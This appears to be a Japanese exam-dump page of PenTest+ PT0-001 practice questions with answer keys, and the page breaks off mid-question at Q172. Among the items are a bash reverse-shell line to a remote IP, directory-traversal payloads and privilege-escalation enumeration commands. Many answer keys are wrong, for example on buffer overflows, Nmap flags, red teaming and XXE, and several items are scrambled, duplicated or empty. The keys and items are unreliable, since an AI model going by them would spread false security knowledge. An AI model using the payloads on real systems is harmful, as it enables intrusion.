[2022年03月09日] 最新をゲットせよ！PT0-001認定練習テスト問題と試験問題集 [Q150-Q174]

[2022年03月09日] 最新をゲットせよ！PT0-001認定練習テスト問題と試験問題集

リアルPT0-001試験問題集解答で有効なPT0-001問題集PDF

質問 150
A client is asking a penetration tester to evaluate a new web application for availability. Which of the following types of attacks should the tester use?

A. xss
B. TCP SYN flood
C. XMAS scan
D. SQL injection

正解: B

質問 151
A company contracted a firm specializing in penetration testing to assess the security of a core business application. The company provided the firm with a copy of the Java bytecode. Which of the following steps must the firm take before it can run a static code analyzer?

A. Employ a fuzzing utility.
B. Decompile the application.
C. Check memory allocations.
D. Run the application through a dynamic code analyzer.

正解: C

質問 152
A client asks a penetration tester to add more addresses to a test currently in progress. Which of the following would define the target list?

A. Statement of work
B. End-user license agreement
C. Rules of engagement
D. Mater services agreement

正解: A

質問 153
A company requested a penetration tester review the security of an in-house-developed Android application. The penetration tester received an APK file to support the assessment.
The penetration tester wants to run SAST on the APK file. Which of the following preparatory steps must the penetration tester do FIRST? (Select TWO)

A. Cross-compile the application
B. Attach to ADB
C. Re-sign the APK
D. Decompile
E. Convert JAR files to DEX
F. Convert to JAR

正解: A,D

質問 154
Which of the following CPU registers does the penetration tester need to overwrite in order to exploit a simple buffer overflow?

A. Destination index register
B. Stack pointer register
C. Stack base pointer
D. Index pointer register

正解: B

解説:
Reference:
http://www.informit.com/articles/article.aspx?p=704311&seqNum=3

質問 155
Which of the following commands starts the Metasploit database?

A. msfconsole
B. db_init
C. db_connect
D. msfvenom
E. workspace

正解: A

解説:
Explanation
References: https://www.offensive-security.com/metasploit-unleashed/msfconsole/

質問 156
A penetration tester found a network with NAC enabled Which of the following commands can be used to bypass the NAC?

A. macchanger
B. sslbump
C. iptafcles
D, proxychains

正解: A

質問 157
Given the following:
http://example.com/download.php?id-.../.../.../etc/passwd
Which of the following BEST describes the above attack?

A. Directory traversal attack
B. Redirect attack
C. Malicious file upload attack
D. Insecure direct object reference attack

正解: A

解説:
Explanation

質問 158
The following line was found in an exploited machine's history file. An attacker ran the following command:
bash -i >& /dev/tcp/192.168.0.1/80 0> &1
Which of the following describes what the command does?

A. Removes error logs for the supplied IP.
B. Performs a port scan.
C. Redirects a TTY to a remote system.
D. Grabs the web server's banner.

正解: C

質問 159
Which of the following reasons does penetration tester needs to have a customer's point-of -contact information available at all time? (Select THREE).

A. To report the latest published exploits
B. To update the statement o( work
C. To report a cracked password
D. To report findings that cannot be exploited
E. To update payment information
F. To report indicators of compromise
G. To report a server that becomes unresponsive
H. To report critical findings

正解: F,G,H

質問 160
During an engagement, a consultant identifies a number of areas that need further investigation and require an extension of the engagement. Which of the following is the MOST likely reason why the engagement may not be able to continue?

A. The consultant was not provided with the appropriate testing tools.
B. The initial findings were not communicated to senior leadership.
C. The company did not properly scope the project.
D. The consultant did not sign an NDA.

正解: C

質問 161
Which of the following commands will allow a tester to enumerate potential unquoted service paths on a host?
wmic environment get name, variablevalue, username | findstr /i "Path" |

A. findstr /i "Service"
wmic service get /format:hform > c:\temp\services.html
B. v /i "%"
wmic service get name, displayname, pathname, startmode |findstr /i "auto" |
C. findstr /i /v "c:\windows\\" |findstr /i /v """
D. wmic startup get caption, location, command |findstr /i "service" |findstr /

正解: C

解説:
Explanation/Reference: https://medium.com/@SumitVerma101/windows-privilege-escalation-part-1-unquoted-service- path-c7a011a8d8ae

質問 162
A penetration tester has been asked to conduct OS fingerprinting with Nmap using a company-provide text file that contain a list of IP addresses.
Which of the following are needed to conduct this scan? (Select TWO).

A. _sV
B. -O
C. -oX
D. -oN
E. -sS
F. _iL

正解: C,D

質問 163
A penetration tester has identified a directory traversal vulnerability. Which of the following payloads could have helped the penetration tester identify this vulnerability?

A. || is /tmp/
B. "><script>document.location=/root/</script>
C. 'or 'folder' like 'file'; --
D. && dir C:/
E. ../../../../../../../../

正解: E

解説:
Explanation
Explanation/Reference: https://www.sciencedirect.com/topics/computer-science/directory-traversal

質問 164
Which of the following BEST describes the difference between a red team engagement and a penetration test?

A. A penetration test has a broad scope and focuses more on vulnerability identification while a red team engagement has a limited scope and emulates advanced persistent threats
B. A red team engagement has a broad scope and focuses more on vulnerability identification, while a penetration test has a limited scope and emulates advanced persistent threats
C. A penetration test has a broad scope and emulates advanced persistent threats while a red team engagement has a limited scope and focuses more on vulnerability identification
D. A red team engagement has a broad scope and emulates advanced persistent threats, while a penetration test has a limited scope and focuses more on vulnerability identification

正解: A

質問 165
A security consultant is trying to attack a device with a previous identified user account.

Which of the following types of attacks is being executed?

A. Credential dump attack
B. Pass the hash attack
C. Reverse shell attack
D. DLL injection attack

正解: B

質問 166
A technician is reviewing the following report. Given this information, identify which vulnerability can be definitively confirmed to be a false positive by dragging the "false positive" token to the "Confirmed" column for each vulnerability that is a false positive.

正解:

解説:

質問 167
In which of the following components is an exploited vulnerability MOST likely to affect multiple running application containers at once?

A. Sandbox escape
B. Configuration files
C. ASLR bypass
D. Common libraries

正解: D

解説:
Explanation/Reference: https://www.stackrox.com/post/2019/02/the-runc-vulnerability-a-deep-dive-on-protecting-yourself/

質問 168
Instructions:
Analyze the code segments to determine which sections are needed to complete a port scanning script.
Drag the appropriate elements into the correct locations to complete the script.
If at any time you would like to bring back the initial state of the simulation, please click the reset all button.
During a penetration test, you gain access to a system with a limited user interface. This machine appears to have access to an isolated network that you would like to port scan.

正解:

解説:

質問 169
A security consultant is trying to attack a device with a previously identified user account.

Which of the following types of attacks is being executed?

A. Credential dump attack
B. Pass the hash attack
C. Reverse shell attack
D. DLL injection attack

正解: B

質問 170
If a security consultant comes across a password hash that resembles the following b117 525b3454 7Oc29ca3dBaeOb556ba8 Which of the following formats is the correct hash type?

A. NetNTLMvl
B. Kerberos
C. NTLM
D. SHA-1

正解: C

質問 171
During the exploitation phase of a web application, a penetration tester finds XML files are being used to handle parameters that are sent for the server. Which of the following vulnerabilities can be exploited to try to access internal files of the affected web server using a web proxy?

A. CSRF
B. XXE
C. XSS
D. SQL injection

正解: D

質問 172
A penetration tester wants to target NETBIOS name service. Which of the following is the MOST likely command to exploit the NETBIOS name service?